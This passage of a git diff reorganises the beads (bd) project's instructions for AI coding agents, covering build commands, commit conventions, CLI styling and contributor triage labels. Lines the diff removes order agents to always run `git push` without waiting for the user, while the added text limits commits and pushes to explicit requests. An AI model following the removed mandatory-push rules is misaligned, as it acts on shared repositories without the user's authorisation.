characters (backticks, !, nested quotes) -echo 'Description with `backticks` and "quotes"' | bd create "Title" --description=- -echo 'Updated text' | bd update --description=- -``` - -## Testing - -Use [engdocs/TESTING.md](engdocs/TESTING.md) for the canonical commands, -test-design guidance, and PR-readiness gates. - -## Non-Interactive Shell Commands - -**ALWAYS use non-interactive flags** with file operations to avoid hanging on confirmation prompts. - -Shell commands like `cp`, `mv`, and `rm` may be aliased to include `-i` (interactive) mode on some systems, causing the agent to hang indefinitely waiting for y/n input. - -**Use these forms instead:** -```bash -# Force overwrite without prompting -cp -f source dest # NOT: cp source dest -mv -f source dest # NOT: mv source dest -rm -f file # NOT: rm file - -# For recursive operations -rm -rf directory # NOT: rm -r directory -cp -rf source dest # NOT: cp -r source dest -``` - -**Other commands that may prompt:** -- `scp` - use `-o BatchMode=yes` for non-interactive -- `ssh` - use `-o BatchMode=yes` to fail instead of prompting -- `apt-get` - use `-y` flag -- `brew` - use `HOMEBREW_NO_AUTO_UPDATE=1` env var - -## Landing the Plane (Session Completion) - -**When ending a work session** (or when the user says "let's land the -plane"), you MUST complete ALL steps below. Work is NOT complete until -`git push` succeeds. - -**MANDATORY WORKFLOW:** - -1. **File issues for remaining work** - Create issues for anything that needs follow-up -2. **Run quality gates** (if code changed): - - `make ci-pr-lint` (required zero-finding formatting and lint wrapper) - - `make test` (and `make test-icu-path` only if you intentionally need the ICU regex path) - - File a P0 issue if quality gates are broken -3. **Update issue status** - Close finished work, update in-progress items -4. **PUSH TO REMOTE** - This is MANDATORY: - ```bash - git pull --rebase - git push - git status # MUST show "up to date with origin" - ``` -5. **Clean up**: - ```bash - git stash clear # Remove old stashes - git remote prune origin # Clean up deleted remote branches - ``` -6. **Verify** - All changes committed AND pushed, no untracked files remain -7. **Hand off** - Choose a follow-up issue and give the user a prompt for - the next session, e.g. "Continue work on bd-X: [issue title]. [Brief - context about what's been done and what's next]" - -**CRITICAL RULES:** -- Work is NOT complete until `git push` succeeds -- NEVER stop before pushing - that leaves work stranded locally -- NEVER say "ready to push when you are" - YOU must push -- If push fails, resolve and retry until it succeeds - -Close with a summary for the user: what was completed this session, issues -filed for follow-up, quality-gate status, confirmation everything is pushed, -and the recommended prompt for the next session. - - -## Issue Tracking with bd (beads) - -**IMPORTANT**: This project uses **bd (beads)** for ALL issue tracking. Do NOT use markdown TODOs, task lists, or other tracking methods. - -### Why bd? - -- Dependency-aware: Track blockers and relationships between issues -- Git-friendly: Dolt-powered version control with native sync -- Agent-optimized: JSON output, ready work detection, discovered-from links -- Prevents duplicate tracking systems and confusion - -### Quick Start - -**Check for ready work:** +## Build, test, lint ```bash -bd ready --json +make install # build and install bd to ~/.local/bin (canonical) +make test # unit tests with the right build tags +make ci-pr-lint # required zero-finding formatting + lint contract +make check-docs # doc flag, freshness, and docsync checks +make bazel-sync # after adding/removing/renaming Go files or changing imports/go.mod ``` -**Create new issues:** +- **Do NOT** use `go build -o bd ./cmd/bd`, `go install ./cmd/bd`, or raw + `go run ./cmd/bd ...`: they bypass the canonical build path, leave stale + binaries, and raw `go run` misses the `gms_pure_go` tag. Use `make install`, + `./bd`, or `go run -tags gms_pure_go ./cmd/bd ...`. +- All new features need tests. Choose them with + [engdocs/TESTING.md](engdocs/TESTING.md); it is the canonical source for + commands, test design, and PR-readiness gates. +- **Never pollute a production database with test issues.** Use `t.TempDir()` + in Go tests and a disposable working directory for manual `bd` experiments. +- `make ci-pr-lint` must pass with zero issues; see + [engdocs/LINTING.md](engdocs/LINTING.md). +- **Optional shared Bazel cache (opt-in).** `--config=fork-cache` reads the + project's anonymous, read-only cache, so results CI already computed are + hits and nothing is uploaded. It is off by default; when setting up a dev + environment, ask your human before adding `build --config=fork-cache` to + `.bazelrc.local`. +- Without Bazel, let CI sync BUILD files: on same-repo PRs the bazel-autofix + workflow pushes the fix to your branch (pull before pushing again); fork PRs + get a comment with an apply recipe. +- If you changed behavior, update the user docs (`docs/`, via the + `beads-docs` skill) or README in the same PR. -```bash -bd create "Issue title" --description="Detailed context" -t bug|feature|task -p 0-4 --json -bd create "Issue title" --description="What this issue is about" -p 1 --deps discovered-from:bd-123 --json -``` +## Commits and PRs -**Claim and update:** +- Conventional Commits: `type(scope): summary` (`fix`, `feat`, `docs`, + `test`, `refactor`, `chore`, `ci`, `perf`). +- For agent-prepared commits, include the `Agent-Signature:` trailer described + in [engdocs/AGENT_SIGNING.md](engdocs/AGENT_SIGNING.md). Use + `unknown-model` or `unknown-reasoning` when reliable runtime metadata is + unavailable. +- Maintainers working from the internal ledger may also end the subject with + the bead ID, e.g. `(bd-abc)`, so `bd doctor` can detect orphaned issues. +- Work on a feature branch and open a PR against `main`; direct pushes to + `main` are reserved for releases and narrow operational fixes. +- When the user asks to bump the version, use `./scripts/bump-version.sh`; the + full release process is in [RELEASING.md](RELEASING.md). -```bash -bd update --claim --json -bd update bd-42 --priority 1 --json -``` +## Ending a session -**Complete work:** +Do not push to `main`. Before handing off: -```bash -bd close bd-42 --reason "Completed" --json -``` +1. Run the quality gates your change needs (`make ci-pr-lint`, the tests + [engdocs/TESTING.md](engdocs/TESTING.md) selects). If gates are broken on + `main`, report it as a P0 issue. +2. Record follow-up work as GitHub issues (or ledger beads, for maintainers). +3. Commit, push, or open a PR only when the person you are working for asked + you to. Report changed files, validation run, and anything left open. -### Issue Types +## CLI output -- `bug` - Something broken -- `feature` - New functionality -- `task` - Work item (tests, docs, refactoring) -- `epic` - Large feature with subtasks -- `chore` - Maintenance (dependencies, tooling) +**NEVER use emoji-style icons** (🔴🟠🟡🔵⚪) in CLI output. **ALWAYS use small +Unicode symbols** with semantic colors: status `○ ◐ ● ✓ ❄`; priority as a +`P0`–`P4` label with color (no status glyph). The full visual design system +and CLI design principles are in +[engdocs/UI_PHILOSOPHY.md](engdocs/UI_PHILOSOPHY.md). -### Priorities +## Non-interactive shell commands -- `0` - Critical (security, data loss, broken builds) -- `1` - High (major features, important bugs) -- `2` - Medium (default, nice-to-have) -- `3` - Low (polish, optimization) -- `4` - Backlog (future ideas) +Agents cannot answer prompts. Use `cp -f`, `mv -f`, `rm -f`, `rm -rf`, +`cp -rf` (these may be aliased to `-i`); `scp`/`ssh -o BatchMode=yes`; +`apt-get -y`; `HOMEBREW_NO_AUTO_UPDATE=1 brew`. **DO NOT use `bd edit`** — it +opens `$EDITOR`; use `bd update --title/--description/--design/--acceptance/--append-notes` +(pipe text with special characters via `--description=-`). -### Workflow for AI Agents +## Routing table -1. **Check ready work**: `bd ready` shows unblocked issues -2. **Claim your task atomically**: `bd update --claim` -3. **Work on it**: Implement, test, document -4. **Discover new work?** Create linked issue: - - `bd create "Found bug" --description="Details about what was found" -p 1 --deps discovered-from:` -5. **Complete**: `bd close --reason "Done"` - -### Quality -- Use `--acceptance` and `--design` fields when creating issues -- Use `--validate` to check description completeness - -### Lifecycle -- `bd defer ` / `bd supersede ` for issue management -- `bd stale` / `bd orphans` / `bd lint` for hygiene -- `bd human ` to flag for human decisions -- `bd formula list` / `bd mol pour ` for structured workflows - -### Sync - -bd stores issue history in Dolt: - -- Each write auto-commits to Dolt history -- Use `bd dolt push`/`bd dolt pull` for remote sync -- Do not treat `.beads/issues.jsonl` as the sync protocol - -**Architecture in one line:** issues live in a local Dolt DB; sync uses `refs/dolt/data` on your git remote; `.beads/issues.jsonl` is a passive export. See https://github.com/gastownhall/beads/blob/main/docs/core-concepts/sync-concepts.md for details and anti-patterns. - -### Important Rules - -- ✅ Use bd for ALL task tracking -- ✅ Always use `--json` flag for programmatic use -- ✅ Link discovered work with `discovered-from` dependencies -- ✅ Check `bd ready` before asking "what should I work on?" -- ❌ Do NOT create markdown TODO lists -- ❌ Do NOT use external issue trackers -- ❌ Do NOT duplicate tracking systems - -For more details, see README.md and https://github.com/gastownhall/beads/blob/main/docs/getting-started/quickstart.md. - -## Agent Context Profiles - -The managed Beads block is task-tracking guidance, not permission to override repository, user, or orchestrator instructions. - -- **Conservative (default)**: Use `bd` for task tracking. Do not run git commits, git pushes, or Dolt remote sync unless explicitly asked. At handoff, report changed files, validation, and suggested next commands. -- **Minimal**: Keep tool instruction files as pointers to `bd prime`; use the same conservative git policy unless active instructions say otherwise. -- **Team-maintainer**: Only when the repository explicitly opts in, agents may close beads, run quality gates, commit, and push as part of session close. A current "do not commit" or "do not push" instruction still wins. - -## Session Completion - -This protocol applies when ending a Beads implementation workflow. It is subordinate to explicit user, repository, and orchestrator instructions. - -1. **File issues for remaining work** - Create beads for anything that needs follow-up -2. **Run quality gates** (if code changed) - Tests, linters, builds -3. **Update issue status** - Close finished work, update in-progress items -4. **Handle git/sync by active profile**: - ```bash - # Conservative/minimal/default: report status and proposed commands; wait for approval. - git status - - # Team-maintainer opt-in only, unless current instructions forbid it: - git pull --rebase - bd dolt push - git push - git status - ``` -5. **Hand off** - Summarize changes, validation, issue status, and any blocked sync/commit/push step - -**Critical rules:** -- Explicit user or orchestrator instructions override this Beads block. -- Do not commit or push without clear authority from the active profile or the current user request. -- If a required sync or push is blocked, stop and report the exact command and error. - - +| When you are touching… | Read first | +|---|---| +| `cmd/bd/` (commands, output, proxied-server routes) | [cmd/bd/AGENTS.md](cmd/bd/AGENTS.md) | +| `engdocs/` (contributor and internals docs) | [engdocs/AGENTS.md](engdocs/AGENTS.md) | +| `docs/` (the published user docs) | `.claude/skills/beads-docs/SKILL.md` | +| Any Go test | [engdocs/TESTING.md](engdocs/TESTING.md) | +| Lint failures or `.golangci.yml` | [engdocs/LINTING.md](engdocs/LINTING.md) | +| A new storage operation or issueops role | [engdocs/ADDING_AN_ISSUEOPS_ROLE.md](engdocs/ADDING_AN_ISSUEOPS_ROLE.md) | +| Schema migrations | [internal/storage/schema/migrations/README.md](internal/storage/schema/migrations/README.md) | +| Dolt concurrency, server vs embedded mode | [engdocs/design/dolt-concurrency.md](engdocs/design/dolt-concurrency.md) | +| Errors returned to users | [engdocs/ERROR_HANDLING.md](engdocs/ERROR_HANDLING.md) | +| The `bd serve` HTTP surface | [engdocs/SERVE_RUNBOOK.md](engdocs/SERVE_RUNBOOK.md) | +| A new example under `examples/` | `examples/README.md` — give the example its own README and link it there | +| Releases and version bumps | [RELEASING.md](RELEASING.md) | +| Scope questions | [engdocs/PROJECT_CHARTER.md](engdocs/PROJECT_CHARTER.md) | +| Planned work and priorities | [ROADMAP.md](ROADMAP.md) | diff --git a/AGENT_INSTRUCTIONS.md b/AGENT_INSTRUCTIONS.md index 3afc356e7..b00961736 100644 --- a/AGENT_INSTRUCTIONS.md +++ b/AGENT_INSTRUCTIONS.md @@ -1,537 +1,9 @@ -# Detailed Agent Instructions for Beads Development +# Agent Instructions -**For project overview and quick start, see [AGENTS.md](AGENTS.md)** +Contributor instructions for agents developing beads live in +[AGENTS.md](AGENTS.md). Area-specific rules live in nested `AGENTS.md` files +listed in its routing table. -This document contains detailed operational instructions for AI agents working on beads development, testing, and releases. - -## Development Guidelines - -### Code Standards - -- **Go version**: see `go.mod` for the required version (currently 1.26+) -- **Linting**: `make ci-pr-lint` must pass with zero issues; see - [engdocs/LINTING.md](engdocs/LINTING.md) -- **Testing**: All new features need tests; use [engdocs/TESTING.md](engdocs/TESTING.md) for command selection, test design, and PR readiness. -- **Documentation**: Update relevant .md files - -### File Organization - -``` -beads/ -├── cmd/bd/ # CLI commands -├── internal/ -│ ├── types/ # Core data types -│ └── storage/ # Storage layer -│ └── dolt/ # Dolt implementation -├── examples/ # Integration examples -└── *.md # Documentation -``` - -### Testing Workflow - -**IMPORTANT:** Never pollute the production database with test issues! - -For test commands, tier selection, and test-design guidance, use the canonical -[engdocs/TESTING.md](engdocs/TESTING.md). - -**For manual testing**, keep initialization and all experiments in a disposable -working directory. This safety example supplements the canonical testing guide: - -```bash -beads_manual_dir="$(mktemp -d)" -( - set -e - cd "$beads_manual_dir" - bd init --quiet --prefix test --skip-hooks --skip-agents - bd create "Test issue" -p 1 -) -rm -rf -- "$beads_manual_dir" -``` - -`BEADS_DB` alone does not redirect `bd init` workspace setup. Do not run manual -initialization from a production workspace even when selecting another database. - -**For automated tests**, use `t.TempDir()` in Go tests: - -```go -func TestMyFeature(t *testing.T) { - tmpDir := t.TempDir() - testDB := filepath.Join(tmpDir, ".beads", "beads.db") - s := newTestStore(t, testDB) - // ... test code -} -``` - -**Git test isolation:** For tests that create temporary git repos, force repo-local hooks: - -```bash -git config core.hooksPath .git/hooks -``` - -Do not rely on the developer's global git config. Global `core.hooksPath` can leak -into temp repos and produce flaky test behavior. - -**Warning:** bd will warn you when creating issues with a "Test" prefix in the -production database. The disposable working directory is the isolation -boundary for manual initialization and experiments. - -**Tmpfs hosts:** the `cmd/bd` test suite creates an isolated `$HOME` and several -test binaries under `$TMPDIR`. They are normally cleaned by the test process, -but a SIGKILLed or OOMed run can leave orphans behind. On hosts where `/tmp` -is tmpfs (e.g. Fedora Atomic / Bluefin), run `make clean-test-tmp` between -test runs if `du -sh /tmp/beads-* /tmp/bd-*` shows accumulation. See bd-3q2u. - -### Before Committing - -1. **Run tests**: follow [engdocs/TESTING.md](engdocs/TESTING.md). -2. **Run the required lint contract when its code surface changed**: - `make ci-pr-lint` -3. **Update docs**: If you changed behavior, update README.md or other docs -4. **Sync Bazel BUILD files** if you added, removed or renamed Go files, or - changed imports or `go.mod`: `make bazel-sync` (needs Bazel), then commit - the BUILD.bazel / MODULE.bazel changes. Without Bazel, let CI do it: on - same-repo PRs the bazel-autofix workflow pushes the fix for the packages - your PR changed to your branch (pull before pushing again); fork PRs get - a comment with an apply recipe. -5. **Commit**: With git hooks installed (`bd hooks install`), Dolt changes are auto-committed - -### Commit Message Convention - -When committing work for an issue, include the issue ID in parentheses at the end: - -```bash -git commit -m "Fix auth validation bug (bd-abc)" -git commit -m "Add retry logic for database locks (bd-xyz)" -``` - -This enables `bd doctor` to detect **orphaned issues** - work that was committed but the issue wasn't closed. The doctor check cross-references open issues against git history to find these orphans. - -For agent-prepared commits, also include the -`Agent-Signature:` trailer described in -[engdocs/AGENT_SIGNING.md](engdocs/AGENT_SIGNING.md). Use `unknown-model` or -`unknown-reasoning` when reliable runtime metadata is unavailable. - -### Git Workflow - -bd uses **Dolt** as its primary database. Changes are committed to Dolt history automatically (one Dolt commit per write command). - -**Install git hooks** for commit integration and legacy fallback behavior: -```bash -bd hooks install -``` - -### Git Integration - -**Dolt sync**: Dolt handles sync natively via `bd dolt push` / `bd dolt pull`. No export/import round-trip needed for normal sync. - -**Protected branches**: Dolt stores data under `refs/dolt/data`, separate from standard Git refs. See [docs/reference/protected-branches.md](docs/reference/protected-branches.md). - -**Git worktrees**: Work directly with Dolt — no special flags needed. See [docs/reference/advanced.md](docs/reference/advanced.md). - -**Merge conflicts**: Rare with hash IDs. Dolt uses cell-level 3-way merge for conflict resolution. - -## Git Workflow: PR by Default - -Crew workers use a PR-based workflow. Beads is a dependency of a downstream consumer, so we -defer to the standard PR flow to keep changes reviewable. - -- Work on a feature branch, push the branch, open a PR against `main` -- `gh pr create` is the normal path to land work -- Direct push to main is reserved for releases (tag + release commit) and - narrow operational fixes; prefer a PR when unsure -- When handling external contributor PRs, use fix-merge: checkout the PR - branch locally, fix/rebase onto main, merge via PR, then close the PR - -### Maintainer PR Guidelines - -Before triaging, reviewing, landing, closing, or otherwise maintaining PRs, -read [PR_MAINTAINER_GUIDELINES.md](PR_MAINTAINER_GUIDELINES.md). The -maintainer policy is to maximize community throughput: find useful contributor -value, absorb or transform it locally when practical, preserve attribution, and -use request-changes only as a last resort. - -Sign agent-written GitHub comments and reviews using -[engdocs/AGENT_SIGNING.md](engdocs/AGENT_SIGNING.md). - -### External Contributor PRs: Check Before You Build - -**Read [CONTRIBUTING.md](CONTRIBUTING.md)** — it contains promises we've made to contributors. Violating them damages trust and community. - -Run the read-only preflight before implementing related work, opening a PR, or -merging/closing a PR: - -```bash -scripts/pr-preflight.sh --search "" --repo gastownhall/beads -scripts/pr-preflight.sh --repo gastownhall/beads -``` - -**Before implementing any feature or fix, check for existing open PRs on the same topic:** - -```bash -gh pr list --repo gastownhall/beads --state open --search "" --json number,title,author,headRefName -``` - -**Contributor work gets priority.** If an external PR already exists: -1. **Review it first** — read the diff, understand the approach -2. **Build on their work, don't rewrite it** — checkout their branch, fix/adapt as needed -3. **Preserve their tests** — contributor tests are signal; keep them unless they're wrong -4. **Attribute properly** — use `Co-authored-by:` in commits, reference their PR number -5. **Never auto-close a contributor PR** by merging a rewrite — that discards their contribution silently - -If you must rewrite (e.g., fundamentally different approach needed), explain why on the original PR and credit the contributor's design/tests in your commits. - -Do not rely on auto-discovery of CONTRIBUTING.md; the preflight is the agent -gate for PR handling. - -## Landing the Plane - -See [AGENTS.md](AGENTS.md#landing-the-plane-session-completion) for the -canonical session-completion protocol (quality gates, mandatory `git push`, -cleanup, and next-session hand-off). - -## Agent Session Workflow - -**WARNING: DO NOT use `bd edit`** - it opens an interactive editor ($EDITOR) which AI agents cannot use. Use `bd update` with flags instead: -```bash -bd update --description "new description" -bd update --title "new title" -bd update --design "design notes" -bd update --append-notes "additional notes" # --notes replaces existing notes and requires --force once notes are set -bd update --acceptance "acceptance criteria" -``` - -**Read execution metadata before prose.** When enacting a bd issue, inspect the -structured metadata before using description or notes to choose execution mode, -delegation, model, reasoning level, or parallel group: - -```bash -bd show --json | jq '.[0] | {id,title,metadata,description,notes}' -``` - -The execution metadata keys are: - -- `execution_agent_type` -- `execution_suggested_model` -- `execution_reasoning_effort` -- `execution_mode` -- `execution_parallel_group` - -When these keys are present, treat them as the authoritative execution hints. -Use `description` for the work scope and `notes` for rationale or fallback -context. Parent/orchestrator agents must read these fields before spawning -subagents because a running subagent cannot change its model or reasoning effort -after launch. - -**Use stdin for descriptions with special characters** (backticks, `!`, nested quotes): -```bash -# Pipe via stdin to avoid shell escaping issues -echo 'Description with `backticks` and "quotes"' | bd create "Title" --stdin -echo 'Updated description with $variables' | bd update --description=- - -# Or use --body-file for longer content -bd create "Title" --body-file=description.md -``` - -**GitHub body hygiene.** For GitHub PR, issue, comment, and review bodies, -write Markdown to a file and pass it with `gh ... --body-file`. Run -`scripts/gh-body-lint ` first to catch literal `\n` sequences and -non-linking `GH#123` references. - -**Example agent session:** - -```bash -# Make changes (each write auto-commits to Dolt) -bd create "Fix bug" -p 1 -bd create "Add tests" -p 1 -bd update bd-42 --claim -bd close bd-40 --reason "Completed" - -# Push Dolt data to remote if configured -bd dolt push - -# Now safe to end session -``` - -This installs: - -- **pre-commit** — Commits pending Dolt changes -- **post-merge** — Runs chained hooks and a legacy JSONL import fallback only when no Dolt remote is configured - -**Note:** Hooks are embedded in the bd binary and work for all bd users (not just source repo users). - -## Common Development Tasks - -### Visual Design System - -When adding CLI output features, follow these design principles for consistent, -cognitively friendly visuals. - -#### No Emoji-Style Icons - -Do not use large colored emoji icons like red/orange/yellow/blue/white circles -for priorities or status. They cause cognitive overload and break visual -consistency. - -Use small Unicode symbols with semantic colors applied via lipgloss: - -- Status: `○ ◐ ● ✓ ❄` -- Priority: `P0`–`P4` label with color (no status glyph) - -#### Status Icons - -Use these symbols consistently across all commands: - -```text -○ open - Available to work (white/default) -◐ in_progress - Currently being worked (yellow) -● blocked - Waiting on dependencies (red) -✓ closed - Completed (muted gray) -❄ deferred - Scheduled for later (blue/muted) -``` - -#### Priority Labels and Colors - -Format priority as the P-label with color only (no status glyph — `●` is blocked status): - -- `P0`: Red + bold (critical) -- `P1`: Orange (high) -- `P2`: Amber (elevated) -- `P3`–`P4`: Default text - -#### Issue Type Colors - -- `bug`: Red (problems need attention) -- `epic`: Purple (larger scope) -- Others: Default text - -#### Design Principles - -1. Small Unicode symbols only; avoid emoji blobs. -2. Semantic colors only for actionable items; do not color everything. -3. Closed items fade using muted gray. -4. Prefer icons over text labels for scanability. -5. Keep icons consistent across list, graph, show, and related commands. -6. Use tree connectors (`├──`, `└──`, `│`) for hierarchies. -7. Reduce cognitive noise; do not show `needs:1` when it is just the parent epic. - -#### Semantic Styles - -Use exported styles from `internal/ui/styles.go`: - -```go -// Status styles -ui.StatusInProgressStyle // Yellow - active work -ui.StatusBlockedStyle // Red - needs attention -ui.StatusClosedStyle // Muted gray - done - -// Priority styles -ui.PriorityP0Style // Red + bold -ui.PriorityP1Style // Orange - -// Type styles -ui.TypeBugStyle // Red -ui.TypeEpicStyle // Purple - -// General styles -ui.PassStyle, ui.WarnStyle, ui.FailStyle -ui.MutedStyle, ui.AccentStyle -ui.RenderMuted(text), ui.RenderAccent(text) -``` - -Example: - -```go -switch issue.Status { -case types.StatusOpen: - icon = "○" -case types.StatusInProgress: - icon = ui.StatusInProgressStyle.Render("◐") -case types.StatusBlocked: - icon = ui.StatusBlockedStyle.Render("●") -case types.StatusClosed: - icon = ui.StatusClosedStyle.Render("✓") -} -``` - -### CLI Design Principles - -**Minimize cognitive overload.** Every new command, flag, or option adds cognitive burden for users. Before adding anything: - -1. **Recovery/fix operations → `bd doctor --fix`**: Don't create separate commands like `bd recover` or `bd repair`. Doctor already detects problems - let `--fix` handle remediation. This keeps all health-related operations in one discoverable place. - For git hook marker migration specifically: use `bd migrate hooks --dry-run` to preview operations, and `bd doctor --fix` for the standard apply path. - -2. **Prefer flags on existing commands**: Before creating a new command, ask: "Can this be a flag on an existing command?" Example: `bd list --stale` instead of `bd stale`. - -3. **Consolidate related operations**: Related operations should live together. Version control uses `bd vc {log,diff,commit}`, not separate top-level commands. - -4. **Count the commands**: Run `bd --help` and count. If we're approaching 30+ commands, we have a discoverability problem. Consider subcommand grouping. - -5. **New commands need strong justification**: A new command should represent a fundamentally different operation, not just a convenience wrapper. - -### Adding a New Command - -1. Create file in `cmd/bd/` -2. Add to root command in `cmd/bd/main.go` -3. Implement with Cobra framework -4. Add `--json` flag for agent use -5. Add tests in `cmd/bd/*_test.go` -6. Document in README.md - -### Adding Storage Features - -1. Add Dolt SQL schema changes in `internal/storage/dolt/` -2. Add migration if needed -3. Update `internal/types/types.go` if new types -4. Implement in `internal/storage/dolt/` (queries, issues, etc.) -5. Add tests -6. Update export/import in `cmd/bd/export.go` and `cmd/bd/import.go` - -### Adding Examples - -1. Create directory in `examples/` -2. Add README.md explaining the example -3. Include working code -4. Link from `examples/README.md` -5. Mention in main README.md - -## Building - -```bash -# Build and install bd to ~/.local/bin (the canonical location) -make install - -# Verify installed binary -bd init --prefix test -bd create "Test issue" -p 1 -bd ready -``` - -For testing commands, test design, and PR-readiness gates, use -[engdocs/TESTING.md](engdocs/TESTING.md). - -> **WARNING**: Do NOT use `go build -o bd ./cmd/bd`, `go install ./cmd/bd`, -> or raw `go run ./cmd/bd ...`. -> These bypass the canonical build path, can create stale binaries in the -> working directory or `~/go/bin/`, and raw `go run` may miss the required -> `gms_pure_go` build tag. Always use `make install`, `./bd`, or -> `go run -tags gms_pure_go ./cmd/bd ...` when you explicitly need `go run`. - -## Version Management - -**IMPORTANT**: When the user asks to "bump the version" or mentions a new version number (e.g., "bump to 0.9.3"), use the version bump script: - -```bash -# Preview changes (shows diff, doesn't commit) -./scripts/bump-version.sh 0.9.3 - -# Auto-commit the version bump -./scripts/bump-version.sh 0.9.3 --commit -git push origin main -``` - -**What it does:** - -- Updates ALL version files (CLI, plugin, MCP server, docs) in one command -- Validates semantic versioning format -- Shows diff preview -- Verifies all versions match after update -- Creates standardized commit message - -**User will typically say:** - -- "Bump to 0.9.3" -- "Update version to 1.0.0" -- "Rev the project to 0.9.4" -- "Increment the version" - -**You should:** - -1. Run `./scripts/bump-version.sh --commit` -2. Push to GitHub -3. Confirm all versions updated correctly - -**Files updated automatically:** - -- `cmd/bd/version.go` - CLI version -- `plugins/beads/.claude-plugin/plugin.json` - Claude plugin version -- `plugins/beads/.codex-plugin/plugin.json` - Codex plugin version -- `.claude-plugin/marketplace.json` - Claude marketplace version -- `integrations/beads-mcp/pyproject.toml` - MCP server version -- `README.md` - Documentation version -- `PLUGIN.md` - Version requirements - -**Why this matters:** We had version mismatches (bd-66) when only `version.go` was updated. This script prevents that by updating all components atomically. - -See `scripts/README.md` for more details. - -## Release Process (Maintainers) - -See [RELEASING.md](RELEASING.md) for the complete release process, including -the automated `./scripts/release.sh ` script and the manual, -step-by-step channel-by-channel instructions. - -## Checking GitHub Issues and PRs - -**IMPORTANT**: When asked to check GitHub issues or PRs, use command-line tools like `gh` instead of browser/playwright tools. - -**Preferred approach:** - -```bash -# List open issues with details -gh issue list --limit 30 - -# List open PRs -gh pr list --limit 30 - -# View specific issue -gh issue view 201 -``` - -**Then provide an in-conversation summary** highlighting: - -- Urgent/critical issues (regressions, bugs, broken builds) -- Common themes or patterns -- Feature requests with high engagement -- Items that need immediate attention - -**Why this matters:** - -- Browser tools consume more tokens and are slower -- CLI summaries are easier to scan and discuss -- Keeps the conversation focused and efficient -- Better for quick triage and prioritization - -**Do NOT use:** `browser_navigate`, `browser_snapshot`, or other playwright tools for GitHub PR/issue reviews unless specifically requested by the user. - -## Telemetry - -`bd` collects anonymous command-usage metrics. Each event is a `cli_command` -record carrying only the command name; each batch also carries the bd version -and OS platform, keyed by a machine-derived, HMAC-protected distinct ID. No -email, repo path, remote URL, issue content, or user-supplied strings are -collected. Events are written under `~/.beads/eventsData` and POSTed to -`https://gastownhall-eventsapi.com/mp/collect`. - -Metrics are enabled by default (opt-out). The friendliest way to see or change -them is `bd metrics` (`bd metrics on` / `bd metrics off` / `bd metrics example`), -which takes effect on the next command with no restart. `BD_DISABLE_METRICS=1` -still works as a one-off, shell-scoped override. The cross-tool -[`DO_NOT_TRACK`](https://donottrack.sh/) standard is honored as a disable-only -opt-out: `DO_NOT_TRACK=1` opts out, while a falsey or empty value -(`DO_NOT_TRACK=0`, `false`, or unset-but-present) falls through to your saved -`bd metrics` preference instead of forcing metrics back on. `BD_DISABLE_METRICS` -is the bidirectional override and takes precedence when both are set. - -## Questions? - -- Check existing issues: `bd list` -- Look at recent commits: `git log --oneline -20` -- Read the docs: README.md, ADVANCED.md, docs/reference/configuration.md -- Create an issue if unsure: `bd create "Question: ..." -t task -p 2` - -## Important Files - -- **README.md** - Main documentation (keep this updated!) -- **ADVANCED.md** - Advanced features (rename, merge, compaction) -- **CONTRIBUTING.md** - Contribution guidelines -- **SECURITY.md** - Security policy +If you are using `bd` to track work in your own project, see the user docs: +[IDE and agent setup](docs/getting-started/ide-setup.md) and +[https://beads.gascity.com/](https://beads.gascity.com/). diff --git a/BUILD.bazel b/BUILD.bazel index 077a16413..f644db68c 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -81,6 +81,8 @@ filegroup( "engdocs/**", ]) + [ "integrations/beads-mcp/PYPI.md", + "//cmd/bd:AGENTS.md", + "//internal/storage/schema:migrations/README.md", "//scripts:README.md", ], visibility = ["//test/docsync:__pkg__"], diff --git a/CLAUDE.md b/CLAUDE.md deleted file mode 100644 index 9f08e2027..000000000 --- a/CLAUDE.md +++ /dev/null @@ -1,23 +0,0 @@ -# Claude Code Entry Point for Beads - -This file is intentionally short. Do not copy workflow, build, storage, or UI -rules here; those details drift quickly when repeated across agent entrypoints. - -## Read First - -- **Workflow and safety**: [AGENTS.md](AGENTS.md) -- **Detailed agent operations**: [AGENT_INSTRUCTIONS.md](AGENT_INSTRUCTIONS.md) -- **Architecture orientation**: [engdocs/CLAUDE.md](engdocs/CLAUDE.md) -- **PR maintenance policy**: [PR_MAINTAINER_GUIDELINES.md](PR_MAINTAINER_GUIDELINES.md) - -## Current Ground Rules - -- Run `bd prime` before doing tracked work. -- Follow `go.mod` and [AGENT_INSTRUCTIONS.md](AGENT_INSTRUCTIONS.md) for build - and test commands; do not hard-code toolchain versions here. -- Beads uses Dolt as the issue database. Use `bd dolt push` / `bd dolt pull` - for issue data sync; do not use export/import as a routine git workflow. -- The CLI Visual Design System lives in - [AGENT_INSTRUCTIONS.md](AGENT_INSTRUCTIONS.md#visual-design-system). -- If this file conflicts with a linked source, trust the linked source and fix - this file by removing the duplicate. diff --git a/CLAUDE.md b/CLAUDE.md new file mode 120000 index 000000000..47dc3e3d8 --- /dev/null +++ b/CLAUDE.md @@ -0,0 +1 @@ +AGENTS.md \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index bfd65e364..24d3e573f 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,6 +2,50 @@ Thank you for your interest in contributing to bd! This document provides guidelines and instructions for contributing. +## Issues and pull requests + +GitHub Issues is the public tracker, and every pull request links a +documented issue. The issue is where the context lives: why the change is +needed, what it affects, and how we will know it works. File it with the bug +or feature form before or alongside your pull request; it does not need +maintainer approval first. + +### Triage labels + +| Label | Meaning | Applied by | +|---|---|---| +| `status/needs-triage` | Awaiting initial triage. | Automation, on every new issue | +| `status/needs-info` | Waiting on essential information from the reporter. | Maintainers | +| `status/needs-repro` | Needs a reproducible bug report. | Maintainers | +| `status/needs-design` | The direction needs a design decision before work starts. | Maintainers | +| `status/accepted` | Confirmed and on our radar. | Maintainers | + +Issues left in `status/needs-info` or `status/needs-repro` are closed after 14 +days without a reply to the request; reply with the details and a +maintainer will reopen them. +Priority (`priority/p0`–`priority/p3`) and kind (`kind/bug`, `kind/feature`, +`kind/docs`, `kind/chore`) labels are set during triage. + +### Pull request pipeline labels + +These labels drive the maintainers' automated review and merge workflow. They +are applied by maintainers and automation; contributors don't need to set +them. + +| Label | Meaning | +|---|---| +| `status/needs-review` | Request the PR review workflow. | +| `status/needs-review-auto` | Request the automated PR review workflow. | +| `status/reviewing` | The PR review workflow is running. | +| `status/review-failed` | The PR review workflow failed before merge-ready. | +| `status/merge-ready` | The PR is ready for the merge workflow. | +| `status/merge-queued` | Queued for deterministic PR-review merge. | +| `status/merge-failed` | The merge queue needs operator attention. | +| `status/needs-bugflow` | Request the 